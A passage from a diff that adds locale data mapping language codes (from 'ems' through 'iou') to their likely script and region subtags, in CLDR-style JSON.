+ "ems-Cyrl": "ems-Cyrl-US",
+ "emu": "emu-Deva-IN",
+ "emw": "emw-Latn-ID",
+ "emx": "emx-Latn-FR",
+ "emz": "emz-Latn-CM",
+ "en": "en-Latn-US",
+ "en-Shaw": "en-Shaw-GB",
+ "ena": "ena-Latn-PG",
+ "enb": "enb-Latn-KE",
+ "enc": "enc-Latn-VN",
+ "end": "end-Latn-ID",
+ "enf": "enf-Cyrl-RU",
+ "enh": "enh-Cyrl-RU",
+ "enl": "enl-Latn-PY",
+ "enm": "enm-Latn-GB",
+ "enn": "enn-Latn-ZZ",
+ "eno": "eno-Latn-ID",
+ "enq": "enq-Latn-ZZ",
+ "enr": "enr-Latn-ID",
+ "env": "env-Latn-NG",
+ "enw": "enw-Latn-NG",
+ "enx": "enx-Latn-PY",
+ "eo": "eo-Latn-001",
+ "eot": "eot-Latn-CI",
+ "epi": "epi-Latn-NG",
+ "era": "era-Taml-IN",
+ "erg": "erg-Latn-VU",
+ "erh": "erh-Latn-NG",
+ "eri": "eri-Latn-ZZ",
+ "erk": "erk-Latn-VU",
+ "err": "err-Latn-AU",
+ "ert": "ert-Latn-ID",
+ "erw": "erw-Latn-ID",
+ "es": "es-Latn-ES",
+ "ese": "ese-Latn-BO",
+ "esg": "esg-Gonm-IN",
+ "esh": "esh-Arab-IR",
+ "esi": "esi-Latn-US",
+ "esm": "esm-Latn-CI",
+ "ess": "ess-Latn-US",
+ "ess-Cyrl": "ess-Cyrl-US",
+ "esu": "esu-Latn-US",
+ "esy": "esy-Latn-PH",
+ "et": "et-Latn-EE",
+ "etb": "etb-Latn-NG",
+ "etn": "etn-Latn-VU",
+ "eto": "eto-Latn-CM",
+ "etr": "etr-Latn-ZZ",
+ "ets": "ets-Latn-NG",
+ "ett": "ett-Ital-IT",
+ "etu": "etu-Latn-ZZ",
+ "etx": "etx-Latn-ZZ",
+ "etz": "etz-Latn-ID",
+ "eu": "eu-Latn-ES",
+ "eve": "eve-Cyrl-RU",
+ "evh": "evh-Latn-NG",
+ "evn": "evn-Cyrl-RU",
+ "evn-Latn": "evn-Latn-CN",
+ "evn-Mong": "evn-Mong-CN",
+ "ewo": "ewo-Latn-CM",
+ "ext": "ext-Latn-ES",
+ "eya": "eya-Latn-US",
+ "eyo": "eyo-Latn-KE",
+ "eza": "eza-Latn-ZZ",
+ "eze": "eze-Latn-NG",
+ "fa": "fa-Arab-IR",
+ "faa": "faa-Latn-ZZ",
+ "fab": "fab-Latn-ZZ",
+ "fad": "fad-Latn-PG",
+ "faf": "faf-Latn-SB",
+ "fag": "fag-Latn-ZZ",
+ "fah": "fah-Latn-NG",
+ "fai": "fai-Latn-ZZ",
+ "faj": "faj-Latn-PG",
+ "fak": "fak-Latn-CM",
+ "fal": "fal-Latn-CM",
+ "fam": "fam-Latn-NG",
+ "fan": "fan-Latn-GQ",
+ "fap": "fap-Latn-SN",
+ "far": "far-Latn-SB",
+ "fau": "fau-Latn-ID",
+ "fax": "fax-Latn-ES",
+ "fay": "fay-Arab-IR",
+ "faz": "faz-Arab-IR",
+ "fbl": "fbl-Latn-PH",
+ "fer": "fer-Latn-SS",
+ "ff": "ff-Latn-SN",
+ "ff-Adlm": "ff-Adlm-GN",
+ "ffi": "ffi-Latn-ZZ",
+ "ffm": "ffm-Latn-ML",
+ "fgr": "fgr-Latn-TD",
+ "fi": "fi-Latn-FI",
+ "fia": "fia-Arab-SD",
+ "fie": "fie-Latn-NG",
+ "fif": "fif-Latn-SA",
+ "fil": "fil-Latn-PH",
+ "fip": "fip-Latn-TZ",
+ "fir": "fir-Latn-NG",
+ "fit": "fit-Latn-SE",
+ "fiw": "fiw-Latn-PG",
+ "fj": "fj-Latn-FJ",
+ "fkk": "fkk-Latn-NG",
+ "fkv": "fkv-Latn-NO",
+ "fla": "fla-Latn-US",
+ "flh": "flh-Latn-ID",
+ "fli": "fli-Latn-NG",
+ "fll": "fll-Latn-CM",
+ "fln": "fln-Latn-AU",
+ "flr": "flr-Latn-ZZ",
+ "fly": "fly-Latn-ZA",
+ "fmp": "fmp-Latn-ZZ",
+ "fmu": "fmu-Deva-IN",
+ "fnb": "fnb-Latn-VU",
+ "fng": "fng-Latn-ZA",
+ "fni": "fni-Latn-TD",
+ "fo": "fo-Latn-FO",
+ "fod": "fod-Latn-ZZ",
+ "foi": "foi-Latn-PG",
+ "fom": "fom-Latn-CD",
+ "fon": "fon-Latn-BJ",
+ "for": "for-Latn-ZZ",
+ "fos": "fos-Latn-TW",
+ "fpe": "fpe-Latn-ZZ",
+ "fqs": "fqs-Latn-ZZ",
+ "fr": "fr-Latn-FR",
+ "frc": "frc-Latn-US",
+ "frd": "frd-Latn-ID",
+ "frk": "frk-Latn-DE",
+ "frm": "frm-Latn-FR",
+ "fro": "fro-Latn-FR",
+ "frp": "frp-Latn-FR",
+ "frq": "frq-Latn-PG",
+ "frr": "frr-Latn-DE",
+ "frs": "frs-Latn-DE",
+ "frt": "frt-Latn-VU",
+ "fub": "fub-Arab-CM",
+ "fud": "fud-Latn-WF",
+ "fue": "fue-Latn-ZZ",
+ "fuf": "fuf-Latn-GN",
+ "fuh": "fuh-Latn-ZZ",
+ "fui": "fui-Latn-TD",
+ "fum": "fum-Latn-NG",
+ "fun": "fun-Latn-BR",
+ "fuq": "fuq-Latn-NE",
+ "fur": "fur-Latn-IT",
+ "fut": "fut-Latn-VU",
+ "fuu": "fuu-Latn-CD",
+ "fuv": "fuv-Latn-NG",
+ "fuy": "fuy-Latn-ZZ",
+ "fvr": "fvr-Latn-SD",
+ "fwa": "fwa-Latn-NC",
+ "fwe": "fwe-Latn-NA",
+ "fy": "fy-Latn-NL",
+ "ga": "ga-Latn-IE",
+ "gaa": "gaa-Latn-GH",
+ "gab": "gab-Latn-TD",
+ "gac": "gac-Latn-IN",
+ "gac-Deva": "gac-Deva-IN",
+ "gad": "gad-Latn-PH",
+ "gae": "gae-Latn-VE",
+ "gaf": "gaf-Latn-ZZ",
+ "gag": "gag-Latn-MD",
+ "gah": "gah-Latn-ZZ",
+ "gai": "gai-Latn-PG",
+ "gaj": "gaj-Latn-ZZ",
+ "gak": "gak-Latn-ID",
+ "gal": "gal-Latn-TL",
+ "gam": "gam-Latn-ZZ",
+ "gan": "gan-Hans-CN",
+ "gao": "gao-Latn-PG",
+ "gap": "gap-Latn-PG",
+ "gaq": "gaq-Orya-IN",
+ "gar": "gar-Latn-PG",
+ "gas": "gas-Gujr-IN",
+ "gat": "gat-Latn-PG",
+ "gau": "gau-Telu-IN",
+ "gaw": "gaw-Latn-ZZ",
+ "gax": "gax-Latn-ET",
+ "gax-Ethi": "gax-Ethi-ET",
+ "gay": "gay-Latn-ID",
+ "gba": "gba-Latn-ZZ",
+ "gbb": "gbb-Latn-AU",
+ "gbd": "gbd-Latn-AU",
+ "gbe": "gbe-Latn-PG",
+ "gbf": "gbf-Latn-ZZ",
+ "gbg": "gbg-Latn-CF",
+ "gbh": "gbh-Latn-BJ",
+ "gbi": "gbi-Latn-ID",
+ "gbj": "gbj-Orya-IN",
+ "gbk": "gbk-Deva-IN",
+ "gbk-Takr": "gbk-Takr-IN",
+ "gbl": "gbl-Gujr-IN",
+ "gbl-Deva": "gbl-Deva-IN",
+ "gbm": "gbm-Deva-IN",
+ "gbn": "gbn-Latn-SS",
+ "gbp": "gbp-Latn-CF",
+ "gbq": "gbq-Latn-CF",
+ "gbr": "gbr-Latn-NG",
+ "gbs": "gbs-Latn-BJ",
+ "gbu": "gbu-Latn-AU",
+ "gbv": "gbv-Latn-CF",
+ "gbw": "gbw-Latn-AU",
+ "gbx": "gbx-Latn-BJ",
+ "gby": "gby-Latn-ZZ",
+ "gbz": "gbz-Arab-IR",
+ "gcc": "gcc-Latn-PG",
+ "gcd": "gcd-Latn-AU",
+ "gcf": "gcf-Latn-GP",
+ "gcl": "gcl-Latn-GD",
+ "gcn": "gcn-Latn-PG",
+ "gcr": "gcr-Latn-GF",
+ "gct": "gct-Latn-VE",
+ "gd": "gd-Latn-GB",
+ "gdb": "gdb-Orya-IN",
+ "gdb-Telu": "gdb-Telu-IN",
+ "gdc": "gdc-Latn-AU",
+ "gdd": "gdd-Latn-PG",
+ "gde": "gde-Latn-ZZ",
+ "gdf": "gdf-Latn-NG",
+ "gdg": "gdg-Latn-PH",
+ "gdh": "gdh-Latn-AU",
+ "gdi": "gdi-Latn-CF",
+ "gdj": "gdj-Latn-AU",
+ "gdk": "gdk-Latn-TD",
+ "gdl": "gdl-Latn-ET",
+ "gdl-Ethi": "gdl-Ethi-ET",
+ "gdm": "gdm-Latn-TD",
+ "gdn": "gdn-Latn-ZZ",
+ "gdo": "gdo-Cyrl-RU",
+ "gdq": "gdq-Latn-YE",
+ "gdr": "gdr-Latn-ZZ",
+ "gdt": "gdt-Latn-AU",
+ "gdu": "gdu-Latn-NG",
+ "gdx": "gdx-Deva-IN",
+ "gea": "gea-Latn-NG",
+ "geb": "geb-Latn-ZZ",
+ "gec": "gec-Latn-LR",
+ "ged": "ged-Latn-NG",
+ "gef": "gef-Latn-ID",
+ "geg": "geg-Latn-NG",
+ "geh": "geh-Latn-CA",
+ "gei": "gei-Latn-ID",
+ "gej": "gej-Latn-ZZ",
+ "gek": "gek-Latn-NG",
+ "gel": "gel-Latn-ZZ",
+ "geq": "geq-Latn-CF",
+ "ges": "ges-Latn-ID",
+ "gev": "gev-Latn-GA",
+ "gew": "gew-Latn-NG",
+ "gex": "gex-Latn-SO",
+ "gey": "gey-Latn-CD",
+ "gez": "gez-Ethi-ET",
+ "gfk": "gfk-Latn-ZZ",
+ "gga": "gga-Latn-SB",
+ "ggb": "ggb-Latn-LR",
+ "ggd": "ggd-Latn-AU",
+ "gge": "gge-Latn-AU",
+ "ggg": "ggg-Arab-PK",
+ "ggk": "ggk-Latn-AU",
+ "ggl": "ggl-Latn-PG",
+ "ggn": "gvr-Deva-NP",
+ "ggt": "ggt-Latn-PG",
+ "ggu": "ggu-Latn-CI",
+ "ggw": "ggw-Latn-PG",
+ "gha": "gha-Arab-LY",
+ "gha-Latn": "gha-Latn-LY",
+ "gha-Tfng": "gha-Tfng-LY",
+ "ghc": "ghc-Latn-GB",
+ "ghe": "ghe-Deva-NP",
+ "ghk": "ghk-Latn-MM",
+ "ghn": "ghn-Latn-SB",
+ "ghr": "ghr-Arab-PK",
+ "ghs": "ghs-Latn-ZZ",
+ "ght": "ght-Tibt-NP",
+ "gia": "gia-Latn-AU",
+ "gib": "gib-Latn-NG",
+ "gic": "gic-Latn-ZA",
+ "gid": "gid-Latn-CM",
+ "gie": "gie-Latn-CI",
+ "gig": "gig-Arab-PK",
+ "gih": "gih-Latn-AU",
+ "gil": "gil-Latn-KI",
+ "gim": "gim-Latn-ZZ",
+ "gin": "gin-Cyrl-RU",
+ "gip": "gip-Latn-PG",
+ "giq": "giq-Latn-VN",
+ "gir": "gir-Latn-VN",
+ "gis": "gis-Latn-CM",
+ "git": "git-Latn-CA",
+ "gix": "gix-Latn-CD",
+ "giy": "giy-Latn-AU",
+ "giz": "giz-Latn-CM",
+ "gjk": "gjk-Arab-PK",
+ "gjm": "gjm-Latn-AU",
+ "gjn": "gjn-Latn-ZZ",
+ "gjr": "gjr-Latn-AU",
+ "gju": "gju-Arab-PK",
+ "gka": "gka-Latn-PG",
+ "gkd": "gkd-Latn-PG",
+ "gke": "gke-Latn-CM",
+ "gkn": "gkn-Latn-ZZ",
+ "gko": "gko-Latn-AU",
+ "gkp": "gkp-Latn-ZZ",
+ "gku": "gku-Latn-ZA",
+ "gl": "gl-Latn-ES",
+ "glb": "glb-Latn-NG",
+ "glc": "glc-Latn-TD",
+ "gld": "gld-Cyrl-RU",
+ "glh": "glh-Arab-AF",
+ "glj": "glj-Latn-TD",
+ "glk": "glk-Arab-IR",
+ "gll": "gll-Latn-AU",
+ "glo": "glo-Latn-NG",
+ "glr": "glr-Latn-LR",
+ "glu": "glu-Latn-TD",
+ "glw": "glw-Latn-NG",
+ "gma": "gma-Latn-AU",
+ "gmb": "gmb-Latn-SB",
+ "gmd": "gmd-Latn-NG",
+ "gmg": "gmg-Latn-PG",
+ "gmh": "gmh-Latn-DE",
+ "gmm": "gmm-Latn-ZZ",
+ "gmn": "gmn-Latn-CM",
+ "gmr": "gmr-Latn-AU",
+ "gmu": "gmu-Latn-PG",
+ "gmv": "gmv-Ethi-ZZ",
+ "gmx": "gmx-Latn-TZ",
+ "gmy": "gmy-Linb-GR",
+ "gmz": "gmz-Latn-NG",
+ "gn": "gn-Latn-PY",
+ "gna": "gna-Latn-BF",
+ "gnb": "gnb-Latn-IN",
+ "gnc": "gnc-Latn-ES",
+ "gnd": "gnd-Latn-ZZ",
+ "gne": "gne-Latn-NG",
+ "gng": "gng-Latn-ZZ",
+ "gnh": "gnh-Latn-NG",
+ "gni": "gni-Latn-AU",
+ "gnj": "gnj-Latn-CI",
+ "gnk": "gnk-Latn-BW",
+ "gnl": "gnl-Latn-AU",
+ "gnm": "gnm-Latn-PG",
+ "gnn": "gnn-Latn-AU",
+ "gnq": "gnq-Latn-MY",
+ "gnr": "gnr-Latn-AU",
+ "gnt": "gnt-Latn-PG",
+ "gnu": "gnu-Latn-PG",
+ "gnw": "gnw-Latn-BO",
+ "gnz": "gnz-Latn-CF",
+ "goa": "goa-Latn-CI",
+ "gob": "gob-Latn-CO",
+ "goc": "goc-Latn-PG",
+ "god": "god-Latn-ZZ",
+ "goe": "goe-Tibt-BT",
+ "gof": "gof-Ethi-ZZ",
+ "gog": "gog-Latn-TZ",
+ "goh": "goh-Latn-DE",
+ "goi": "goi-Latn-ZZ",
+ "gok": "gok-Deva-IN",
+ "gol": "gol-Latn-LR",
+ "gom": "gom-Deva-IN",
+ "gon": "gon-Telu-IN",
+ "goo": "goo-Latn-FJ",
+ "gop": "gop-Latn-ID",
+ "goq": "goq-Latn-ID",
+ "gor": "gor-Latn-ID",
+ "gos": "gos-Latn-NL",
+ "got": "got-Goth-UA",
+ "gou": "gou-Latn-CM",
+ "gov": "gov-Latn-CI",
+ "gow": "gow-Latn-TZ",
+ "gox": "gox-Latn-CD",
+ "goy": "goy-Latn-TD",
+ "gpa": "gpa-Latn-NG",
+ "gpe": "gpe-Latn-GH",
+ "gpn": "gpn-Latn-PG",
+ "gqa": "gqa-Latn-NG",
+ "gqn": "gqn-Latn-BR",
+ "gqr": "gqr-Latn-TD",
+ "gra": "gra-Deva-IN",
+ "gra-Gujr": "gra-Gujr-IN",
+ "grb": "grb-Latn-ZZ",
+ "grc": "grc-Cprt-CY",
+ "grc-Linb": "grc-Linb-GR",
+ "grd": "grd-Latn-NG",
+ "grg": "grg-Latn-PG",
+ "grh": "grh-Latn-NG",
+ "gri": "gri-Latn-SB",
+ "grj": "grj-Latn-LR",
+ "grm": "grm-Latn-MY",
+ "grq": "grq-Latn-PG",
+ "grs": "grs-Latn-ID",
+ "grt": "grt-Beng-IN",
+ "gru": "gru-Ethi-ET",
+ "gru-Latn": "gru-Latn-ET",
+ "grv": "grv-Latn-LR",
+ "grw": "grw-Latn-ZZ",
+ "grx": "grx-Latn-PG",
+ "gry": "gry-Latn-LR",
+ "grz": "grz-Latn-PG",
+ "gsl": "gsl-Latn-SN",
+ "gsn": "gsn-Latn-PG",
+ "gso": "gso-Latn-CF",
+ "gsp": "gsp-Latn-PG",
+ "gsw": "gsw-Latn-CH",
+ "gta": "gta-Latn-BR",
+ "gtu": "gtu-Latn-AU",
+ "gu": "gu-Gujr-IN",
+ "gua": "gua-Latn-NG",
+ "gub": "gub-Latn-BR",
+ "guc": "guc-Latn-CO",
+ "gud": "gud-Latn-ZZ",
+ "gue": "gue-Latn-AU",
+ "guf": "guf-Latn-AU",
+ "guh": "guh-Latn-CO",
+ "gui": "gui-Latn-BO",
+ "guk": "guk-Latn-ET",
+ "guk-Ethi": "guk-Ethi-ET",
+ "gul": "gul-Latn-US",
+ "gum": "gum-Latn-CO",
+ "gun": "gun-Latn-BR",
+ "guo": "guo-Latn-CO",
+ "gup": "gup-Latn-AU",
+ "guq": "guq-Latn-PY",
+ "gur": "gur-Latn-GH",
+ "gut": "gut-Latn-CR",
+ "guu": "guu-Latn-VE",
+ "guw": "guw-Latn-ZZ",
+ "gux": "gux-Latn-ZZ",
+ "guz": "guz-Latn-KE",
+ "gv": "gv-Latn-IM",
+ "gva": "gva-Latn-PY",
+ "gvc": "gvc-Latn-BR",
+ "gve": "gve-Latn-PG",
+ "gvf": "gvf-Latn-ZZ",
+ "gvj": "gvj-Latn-BR",
+ "gvl": "gvl-Latn-TD",
+ "gvm": "gvm-Latn-NG",
+ "gvn": "gvn-Latn-AU",
+ "gvo": "gvo-Latn-BR",
+ "gvp": "gvp-Latn-BR",
+ "gvr": "gvr-Deva-NP",
+ "gvs": "gvs-Latn-ZZ",
+ "gvy": "gvy-Latn-AU",
+ "gwa": "gwa-Latn-CI",
+ "gwb": "gwb-Latn-NG",
+ "gwc": "gwc-Arab-ZZ",
+ "gwd": "gwd-Latn-ET",
+ "gwe": "gwe-Latn-TZ",
+ "gwf": "gwf-Arab-PK",
+ "gwg": "gwg-Latn-NG",
+ "gwi": "gwi-Latn-CA",
+ "gwj": "gwj-Latn-BW",
+ "gwm": "gwm-Latn-AU",
+ "gwn": "gwn-Latn-NG",
+ "gwr": "gwr-Latn-UG",
+ "gwt": "gwt-Arab-ZZ",
+ "gwu": "gwu-Latn-AU",
+ "gww": "gww-Latn-AU",
+ "gwx": "gwx-Latn-GH",
+ "gxx": "gxx-Latn-CI",
+ "gyb": "gyb-Latn-PG",
+ "gyd": "gyd-Latn-AU",
+ "gye": "gye-Latn-NG",
+ "gyf": "gyf-Latn-AU",
+ "gyg": "gyg-Latn-CF",
+ "gyi": "gyi-Latn-ZZ",
+ "gyl": "gyl-Latn-ET",
+ "gyl-Ethi": "gyl-Ethi-ET",
+ "gym": "gym-Latn-PA",
+ "gyn": "gyn-Latn-GY",
+ "gyo": "gyo-Deva-NP",
+ "gyr": "gyr-Latn-BO",
+ "gyy": "gyy-Latn-AU",
+ "gyz": "gyz-Latn-NG",
+ "gza": "gza-Latn-SD",
+ "gzi": "gzi-Arab-IR",
+ "gzn": "gzn-Latn-ID",
+ "ha": "ha-Latn-NG",
+ "ha-CM": "ha-Arab-CM",
+ "ha-SD": "ha-Arab-SD",
+ "haa": "haa-Latn-US",
+ "hac": "hac-Arab-IR",
+ "had": "had-Latn-ID",
+ "hae": "hae-Latn-ET",
+ "hag": "hag-Latn-ZZ",
+ "hah": "hah-Latn-PG",
+ "hai": "hai-Latn-CA",
+ "haj": "haj-Latn-IN",
+ "haj-Beng": "haj-Beng-IN",
+ "hak": "hak-Hans-CN",
+ "hal": "hal-Latn-VN",
+ "ham": "ham-Latn-ZZ",
+ "han": "han-Latn-TZ",
+ "hao": "hao-Latn-PG",
+ "hap": "hap-Latn-ID",
+ "haq": "haq-Latn-TZ",
+ "har": "har-Ethi-ET",
+ "har-Arab": "har-Arab-ET",
+ "har-Latn": "har-Latn-ET",
+ "has": "has-Latn-CA",
+ "hav": "hav-Latn-CD",
+ "haw": "haw-Latn-US",
+ "hax": "hax-Latn-CA",
+ "hay": "hay-Latn-TZ",
+ "haz": "haz-Arab-AF",
+ "hba": "hba-Latn-CD",
+ "hbb": "hbb-Latn-ZZ",
+ "hbn": "hbn-Latn-SD",
+ "hbo": "hbo-Hebr-IL",
+ "hbu": "hbu-Latn-TL",
+ "hch": "hch-Latn-MX",
+ "hdy": "hdy-Ethi-ZZ",
+ "he": "he-Hebr-IL",
+ "hed": "hed-Latn-TD",
+ "heg": "heg-Latn-ID",
+ "heh": "heh-Latn-TZ",
+ "hei": "hei-Latn-CA",
+ "hem": "hem-Latn-CD",
+ "hgm": "hgm-Latn-NA",
+ "hgw": "hgw-Latn-PG",
+ "hhi": "hhi-Latn-PG",
+ "hhr": "hhr-Latn-SN",
+ "hhy": "hhy-Latn-ZZ",
+ "hi": "hi-Deva-IN",
+ "hi-Latn": "hi-Latn-IN",
+ "hia": "hia-Latn-ZZ",
+ "hib": "hib-Latn-PE",
+ "hid": "hid-Latn-US",
+ "hif": "hif-Latn-FJ",
+ "hig": "hig-Latn-ZZ",
+ "hih": "hih-Latn-ZZ",
+ "hii": "hii-Takr-IN",
+ "hii-Deva": "hii-Deva-IN",
+ "hij": "hij-Latn-CM",
+ "hik": "hik-Latn-ID",
+ "hil": "hil-Latn-PH",
+ "hio": "hio-Latn-BW",
+ "hir": "hir-Latn-BR",
+ "hit": "hit-Xsux-TR",
+ "hiw": "hiw-Latn-VU",
+ "hix": "hix-Latn-BR",
+ "hji": "hji-Latn-ID",
+ "hka": "hka-Latn-TZ",
+ "hke": "hke-Latn-CD",
+ "hkh": "hkh-Arab-IN",
+ "hkh-Deva": "hkh-Deva-IN",
+ "hkh-Latn": "hkh-Latn-IN",
+ "hkk": "hkk-Latn-PG",
+ "hla": "hla-Latn-ZZ",
+ "hlb": "hlb-Deva-IN",
+ "hld": "hld-Latn-VN",
+ "hlt": "hlt-Latn-MM",
+ "hlu": "hlu-Hluw-TR",
+ "hma": "hma-Latn-CN",
+ "hmb": "hmb-Latn-ML",
+ "hmd": "hmd-Plrd-CN",
+ "hmf": "hmf-Latn-VN",
+ "hmj": "hmj-Bopo-CN",
+ "hmm": "hmm-Latn-CN",
+ "hmn": "hmn-Latn-CN",
+ "hmn-Bopo": "hmn-Bopo-CN",
+ "hmn-Hmng": "hmn-Hmng-CN",
+ "hmp": "hmp-Latn-CN",
+ "hmq": "hmq-Bopo-CN",
+ "hmr": "hmr-Latn-IN",
+ "hms": "hms-Latn-CN",
+ "hmt": "hmt-Latn-ZZ",
+ "hmu": "hmu-Latn-ID",
+ "hmv": "hmv-Latn-VN",
+ "hmw": "hmw-Latn-CN",
+ "hmy": "hmy-Latn-CN",
+ "hmz": "hmz-Latn-CN",
+ "hmz-Plrd": "hmz-Plrd-CN",
+ "hna": "hna-Latn-CM",
+ "hnd": "hnd-Arab-PK",
+ "hne": "hne-Deva-IN",
+ "hng": "hng-Latn-AO",
+ "hnh": "hnh-Latn-BW",
+ "hni": "hni-Latn-CN",
+ "hnj": "hnj-Hmnp-US",
+ "hnj-AU": "hnj-Laoo-AU",
+ "hnj-CN": "hnj-Laoo-CN",
+ "hnj-FR": "hnj-Laoo-FR",
+ "hnj-GF": "hnj-Laoo-GF",
+ "hnj-LA": "hnj-Laoo-LA",
+ "hnj-Laoo": "hnj-Laoo-LA",
+ "hnj-MM": "hnj-Laoo-MM",
+ "hnj-SR": "hnj-Laoo-SR",
+ "hnj-TH": "hnj-Laoo-TH",
+ "hnj-US": "hnj-Hmnp-US",
+ "hnj-VN": "hnj-Laoo-VN",
+ "hnn": "hnn-Latn-PH",
+ "hno": "hno-Arab-PK",
+ "hns": "hns-Latn-SR",
+ "ho": "ho-Latn-PG",
+ "hoa": "hoa-Latn-SB",
+ "hob": "hob-Latn-PG",
+ "hoc": "hoc-Deva-IN",
+ "hod": "hod-Latn-NG",
+ "hoe": "hoe-Latn-NG",
+ "hoh": "hoh-Arab-OM",
+ "hoi": "hoi-Latn-US",
+ "hoj": "hoj-Deva-IN",
+ "hol": "hol-Latn-AO",
+ "hom": "hom-Latn-SS",
+ "hoo": "hoo-Latn-CD",
+ "hop": "hop-Latn-US",
+ "hor": "hor-Latn-TD",
+ "hot": "hot-Latn-ZZ",
+ "hov": "hov-Latn-ID",
+ "how": "how-Hani-CN",
+ "hoy": "hoy-Deva-IN",
+ "hpo": "hpo-Mymr-MM",
+ "hr": "hr-Latn-HR",
+ "hra": "hra-Latn-IN",
+ "hrc": "hrc-Latn-PG",
+ "hre": "hre-Latn-VN",
+ "hrk": "hrk-Latn-ID",
+ "hrm": "hrm-Latn-CN",
+ "hrm-Hmng": "hrm-Hmng-CN",
+ "hro": "hro-Latn-VN",
+ "hrp": "hrp-Latn-AU",
+ "hrt": "hrt-Syrc-TR",
+ "hru": "hru-Latn-IN",
+ "hrw": "hrw-Latn-PG",
+ "hrx": "hrx-Latn-BR",
+ "hrz": "hrz-Arab-IR",
+ "hsb": "hsb-Latn-DE",
+ "hsn": "hsn-Hans-CN",
+ "hss": "hss-Arab-OM",
+ "ht": "ht-Latn-HT",
+ "hti": "hti-Latn-ID",
+ "hto": "hto-Latn-CO",
+ "hts": "hts-Latn-TZ",
+ "htu": "htu-Latn-ID",
+ "htx": "htx-Xsux-TR",
+ "hu": "hu-Latn-HU",
+ "hub": "hub-Latn-PE",
+ "huc": "huc-Latn-BW",
+ "hud": "hud-Latn-ID",
+ "hue": "hue-Latn-MX",
+ "huf": "huf-Latn-PG",
+ "hug": "hug-Latn-PE",
+ "huh": "huh-Latn-CL",
+ "hui": "hui-Latn-ZZ",
+ "huk": "huk-Latn-ID",
+ "hul": "hul-Latn-PG",
+ "hum": "hum-Latn-CD",
+ "hup": "hup-Latn-US",
+ "hur": "hur-Latn-CA",
+ "hus": "hus-Latn-MX",
+ "hut": "hut-Deva-NP",
+ "hut-Tibt": "hut-Tibt-NP",
+ "huu": "huu-Latn-PE",
+ "huv": "huv-Latn-MX",
+ "huw": "huw-Latn-ID",
+ "hux": "hux-Latn-PE",
+ "huy": "huy-Hebr-IL",
+ "huz": "huz-Cyrl-RU",
+ "hvc": "hvc-Latn-HT",
+ "hve": "hve-Latn-MX",
+ "hvk": "hvk-Latn-NC",
+ "hvn": "hvn-Latn-ID",
+ "hvv": "hvv-Latn-MX",
+ "hwa": "hwa-Latn-CI",
+ "hwc": "hwc-Latn-US",
+ "hwo": "hwo-Latn-NG",
+ "hy": "hy-Armn-AM",
+ "hya": "hya-Latn-CM",
+ "hyw": "hyw-Armn-AM",
+ "hz": "hz-Latn-NA",
+ "ia": "ia-Latn-001",
+ "iai": "iai-Latn-NC",
+ "ian": "ian-Latn-ZZ",
+ "iar": "iar-Latn-ZZ",
+ "iba": "iba-Latn-MY",
+ "ibb": "ibb-Latn-NG",
+ "ibd": "ibd-Latn-AU",
+ "ibe": "ibe-Latn-NG",
+ "ibg": "ibg-Latn-PH",
+ "ibh": "ibh-Latn-VN",
+ "ibl": "ibl-Latn-PH",
+ "ibm": "ibm-Latn-NG",
+ "ibn": "ibn-Latn-NG",
+ "ibr": "ibr-Latn-NG",
+ "ibu": "ibu-Latn-ID",
+ "iby": "iby-Latn-ZZ",
+ "ica": "ica-Latn-ZZ",
+ "ich": "ich-Latn-ZZ",
+ "icr": "icr-Latn-CO",
+ "id": "id-Latn-ID",
+ "ida": "ida-Latn-KE",
+ "idb": "idb-Latn-IN",
+ "idc": "idc-Latn-NG",
+ "idd": "idd-Latn-ZZ",
+ "ide": "ide-Latn-NG",
+ "idi": "idi-Latn-ZZ",
+ "idr": "idr-Latn-SS",
+ "ids": "ids-Latn-NG",
+ "idt": "idt-Latn-TL",
+ "idu": "idu-Latn-ZZ",
+ "ie": "ie-Latn-001",
+ "ifa": "ifa-Latn-PH",
+ "ifb": "ifb-Latn-PH",
+ "ife": "ife-Latn-TG",
+ "iff": "iff-Latn-VU",
+ "ifk": "ifk-Latn-PH",
+ "ifm": "ifm-Latn-CG",
+ "ifu": "ifu-Latn-PH",
+ "ify": "ify-Latn-PH",
+ "ig": "ig-Latn-NG",
+ "igb": "igb-Latn-ZZ",
+ "ige": "ige-Latn-ZZ",
+ "igg": "igg-Latn-PG",
+ "igl": "igl-Latn-NG",
+ "igm": "igm-Latn-PG",
+ "ign": "ign-Latn-BO",
+ "igo": "igo-Latn-PG",
+ "igs": "igs-Latn-001",
+ "igs-Grek": "igs-Grek-001",
+ "igw": "igw-Latn-NG",
+ "ihb": "ihb-Latn-ID",
+ "ihi": "ihi-Latn-NG",
+ "ihp": "ihp-Latn-ID",
+ "ihw": "ihw-Latn-AU",
+ "ii": "ii-Yiii-CN",
+ "iin": "iin-Latn-AU",
+ "ijc": "ijc-Latn-NG",
+ "ije": "ije-Latn-NG",
+ "ijj": "ijj-Latn-ZZ",
+ "ijn": "ijn-Latn-NG",
+ "ijs": "ijs-Latn-NG",
+ "ik": "ik-Latn-US",
+ "iki": "iki-Latn-NG",
+ "ikk": "ikk-Latn-ZZ",
+ "ikl": "ikl-Latn-NG",
+ "iko": "iko-Latn-NG",
+ "ikp": "ikp-Latn-NG",
+ "ikr": "ikr-Latn-AU",
+ "ikt": "ikt-Latn-CA",
+ "ikt-Cans": "ikt-Cans-CA",
+ "ikv": "ikv-Latn-NG",
+ "ikw": "ikw-Latn-ZZ",
+ "ikx": "ikx-Latn-ZZ",
+ "ikz": "ikz-Latn-TZ",
+ "ila": "ila-Latn-ID",
+ "ilb": "ilb-Latn-ZM",
+ "ilg": "ilg-Latn-AU",
+ "ili": "ili-Latn-CN",
+ "ili-Arab": "ili-Arab-CN",
+ "ili-Cyrl": "ili-Cyrl-KZ",
+ "ilk": "ilk-Latn-PH",
+ "ilm": "ilm-Latn-MY",
+ "ilo": "ilo-Latn-PH",
+ "ilp": "ilp-Latn-PH",
+ "ilu": "ilu-Latn-ID",
+ "ilv": "ilv-Latn-NG",
+ "imi": "imi-Latn-PG",
+ "iml": "iml-Latn-US",
+ "imn": "imn-Latn-PG",
+ "imo": "imo-Latn-ZZ",
+ "imr": "imr-Latn-ID",
+ "ims": "ims-Latn-IT",
+ "imt": "imt-Latn-SS",
+ "imy": "imy-Lyci-TR",
+ "in": "id-Latn-ID",
+ "inb": "inb-Latn-CO",
+ "ing": "ing-Latn-US",
+ "inh": "inh-Cyrl-RU",
+ "inj": "inj-Latn-CO",
+ "inn": "inn-Latn-PH",
+ "ino": "ino-Latn-PG",
+ "inp": "inp-Latn-PE",
+ "int": "int-Mymr-MM",
+ "io": "io-Latn-001",
+ "ior": "ior-Ethi-ET",
+ "iou": "iou-Latn-ZZ",
